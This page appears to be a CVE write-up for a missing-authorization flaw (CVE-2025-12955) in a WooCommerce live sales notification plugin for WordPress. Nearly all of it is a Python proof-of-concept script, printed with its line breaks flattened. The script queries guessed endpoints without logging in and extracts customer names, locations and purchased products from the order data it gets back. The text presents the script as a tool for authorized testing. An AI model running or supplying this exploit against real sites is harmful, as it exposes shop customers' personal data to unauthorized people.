CVE-2025-12955 WordPress Live Sales Notifications插件未授权访问漏洞

import requests import json # CVE-2025-12955 PoC - Unauthenticated Access to Order Information # Target: WordPress site with Live Sales Notifications for WooCommerce plugin <= 2.3.39 target_url = "http://target-wordpress-site.com" # Method 1: Direct API endpoint access (if endpoint is known) api_endpoints = [ "/wp-json/lsnf/v1/orders", "/wp-admin/admin-ajax.php?action=getOrders", "/wp-admin/admin-ajax.php?action=lsnf_get_orders" ] print("[*] CVE-2025-12955 PoC - Testing for Missing Authorization in getOrders function") print("[*] Target:", target_url) for endpoint in api_endpoints: url = target_url + endpoint print(f"\n[+] Testing endpoint: {endpoint}") try: # No authentication required - this is the vulnerability response = requests.get(url, timeout=10) if response.status_code == 200: try: data = response.json() if isinstance(data, list) or (isinstance(data, dict) and 'orders' in data): print(f"[!] VULNERABLE! Received order data without authentication") print(f"[!] Sample data preview:") print(json.dumps(data[:3] if isinstance(data, list) else data, indent=2)) # Extract customer information orders = data if isinstance(data, list) else data.get('orders', []) for order in orders: customer_info = { 'name': order.get('first_name', 'N/A'), 'city': order.get('city', 'N/A'), 'state': order.get('state', 'N/A'), 'country': order.get('country', 'N/A'), 'product': order.get('product_name', 'N/A'), 'time': order.get('order_time', 'N/A') } print(f"[+] Customer: {customer_info['name']} from {customer_info['city']}, {customer_info['country']}") except json.JSONDecodeError: print(f"[*] Non-JSON response (status {response.status_code})") else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("\n[*] PoC completed") print("[*] Note: This PoC is for authorized security testing only")